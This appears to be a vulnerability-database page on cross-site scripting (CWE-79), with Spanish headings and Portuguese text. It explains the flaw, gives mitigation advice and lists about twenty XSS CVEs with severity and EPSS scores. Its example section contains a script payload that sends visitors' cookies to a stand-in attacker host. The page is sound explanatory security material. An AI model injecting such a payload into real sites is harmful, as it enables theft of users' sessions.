Fallos del tipo CWE-79

29.036 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2022-4286MEDIUMReflected Cross-Site Scripting Vulnerabilities in Automation RuntimeEPSS 0.6%CVE-2024-11447MEDIUMCommunity by PeepSo – Social Network, Membership, Registration, User Profiles, Premium – Mobile App <=7.0.3.0 - Reflected Cross-Site ScriptingEPSS 0.6%CVE-2023-1200LOWehuacui bbs cross site scriptingEPSS 0.6%CVE-2023-2153LOWSourceCodester Complaint Management System POST Parameter editable_ajax.php cross site scriptingEPSS 0.6%CVE-2026-30235MEDIUMBusiness Logic Error on OpenProject through hyperlinks in markdown using DOM clobberingEPSS 0.6%CVE-2025-66918HIGHedoc-doctor-appointment-system v1.0.1 is vulnerable to Cross Site Scripting (XSS) in admin/add-session.php via the "title" parameter.EPSS 0.6%CVE-2026-11913CRITICALMother May I - Critical - Unsupported - SA-CONTRIB-2026-045EPSS 0.6%CVE-2022-46287MEDIUMCross-site scripting vulnerability in DENSHI NYUSATSU CORE SYSTEM v6 R4 and earlier allows a remote unauthenticated attacker to inject an arEPSS 0.6%CVE-2022-3765HIGHCross-site Scripting (XSS) - Stored in thorsten/phpmyfaqEPSS 0.6%CVE-2024-23905MEDIUMJenkins Red Hat Dependency Analytics Plugin 0.7.1 and earlier programmatically disables Content-Security-Policy protection for user-generateEPSS 0.6%CVE-2023-2708MEDIUMVideo Gallery <= 1.0.10 - Reflected Cross-Site ScriptingEPSS 0.6%CVE-2022-42117MEDIUMA Cross-site scripting (XSS) vulnerability in the Frontend Taglib module in Liferay Portal 7.3.2 through 7.4.3.16, and Liferay DXP 7.3 beforEPSS 0.6%CVE-2023-2349LOWSourceCodester Service Provider Management System index.php cross site scriptingEPSS 0.6%CVE-2023-2425LOWSourceCodester Simple Student Information System Add New Course cross site scriptingEPSS 0.6%CVE-2023-2350LOWSourceCodester Service Provider Management System Users.php cross site scriptingEPSS 0.6%CVE-2023-3970LOWGZ Scripts Availability Booking Calendar PHP Image cross site scriptingEPSS 0.6%CVE-2023-3035LOWGuangdong Pythagorean OA Office System Schedule cross site scriptingEPSS 0.6%CVE-2023-3058LOW07FLY CRM User Profile cross site scriptingEPSS 0.6%CVE-2026-58191MEDIUMAppium: Reflected XSS / arbitrary JS in @appium/base-driver /test/guinea-pig* routesEPSS 0.6%CVE-2022-3561MEDIUMCross-site Scripting (XSS) - Generic in librenms/librenmsEPSS 0.6%